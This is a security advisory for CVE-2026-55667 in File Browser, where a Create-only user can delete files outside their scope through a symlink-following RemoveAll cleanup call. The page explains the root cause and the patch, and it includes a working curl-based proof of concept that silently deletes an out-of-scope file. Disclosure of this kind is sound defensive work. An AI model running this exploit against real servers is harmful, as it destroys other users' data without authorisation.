CVE-2026-55667: File Browser Out-of-Scope File Deletion via Symlink-Following RemoveAll
A scoped File Browser user with only the Create permission can delete files outside their allowed directory by exploiting an unguarded cleanup call that follows symlinks, bypassing the delete permissi
The problem
File Browser scopes each user to a directory and enforces boundaries through a `ScopedFs` wrapper that calls `guard()` on every filesystem operation. The v2.63.14 fix for CVE-2026-54094 added that guard to reads, writes, lists, and renames, but left `ScopedFs.Remove` and `ScopedFs.RemoveAll` calling the underlying filesystem directly with no symlink check.
When an upload via `resourcePostHandler` fails, the handler runs `d.user.Fs.RemoveAll(r.URL.Path)` as cleanup on the user-supplied path. If that path traverses a symlinked directory that exits the user's scope, Go's `os.RemoveAll` follows the symlink and deletes the out-of-scope target.
The HTTP response is still 403 (the write was blocked), so the deletion is silent. A Create-only user with `Perm.Delete=false` is sufficient; no delete permission is required.
Proof of concept
A working proof-of-concept for CVE-2026-55667 in github.com/filebrowser/filebrowser/v2, with the exact payload below.
# Precondition: a directory symlink inside the user's scope pointing outside it.
# This must be planted out-of-band (mounted volume, extracted archive, admin action).
ln -s /srv/victim /var/filebrowser/root/scope/link
# 1. Authenticate and capture the JWT
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"createonly","password":"hunter2"}')
# 2. POST any body to a path under the symlink.
# The guarded write (MkdirAll/OpenFile) fails => 403.
# The unguarded cleanup RemoveAll("/link/secret.txt") then follows the
# symlink and deletes /srv/victim/secret.txt on disk.
curl -i -X POST \
-H "X-Auth: $JWT" \
--data 'x' \
'http://127.0.0.1:8080/api/resources/link/secret.txt'
# Outcome: HTTP 403 returned (write blocked), but /srv/victim/secret.txt is gone.
test ! -e /srv/victim/secret.txt && echo 'DELETED out-of-scope file'Root cause (CWE-22, CWE-59): `ScopedFs.RemoveAll` in `files/scoped.go` skipped the `guard()` call that every other method uses to resolve symlinks with `filepath.EvalSymlinks` and reject out-of-scope paths. The patch (commit `64511ce`) adds `if err := s.guard(path); err != nil { return err }` at the top of `RemoveAll` before delegating to `s.base.RemoveAll`, mirroring the pattern used by `OpenFile`, `Mkdir`, and the rest of the wrapper.
A second contributing factor: `resourcePostHandler` does not return early when `NewFileInfo` returns a non-not-exist containment error, so it falls through to `writeFile`, which fails the guarded write, and then unconditionally runs the cleanup `RemoveAll` on the unvalidated, user-controlled path.
The fix addresses both the missing guard in `RemoveAll` and adds defense-in-depth by returning early from the handler on containment errors.
The fix
Upgrade to filebrowser v2.63.16. The fix adds `guard()` to both `ScopedFs.Remove` and `ScopedFs.RemoveAll` in `files/scoped.go` (commit `64511ce`), and adds an early-return in `resourcePostHandler` when `NewFileInfo` returns a containment error, preventing the cleanup path from running on an unvalidated path.
Related research
- high · 8.1CVE-2026-62685CVE-2026-62685: File Browser Username Normalization Home Directory Collision
- critical · 9.1CVE-2026-54089CVE-2026-54089: File Browser Authentication Bypass via Proxy Header Forgery
- high · 7.1CVE-2026-50163CVE-2026-50163: oras-go Hardlink Path Traversal via CWD Resolution
- criticalCVE-2026-52811CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink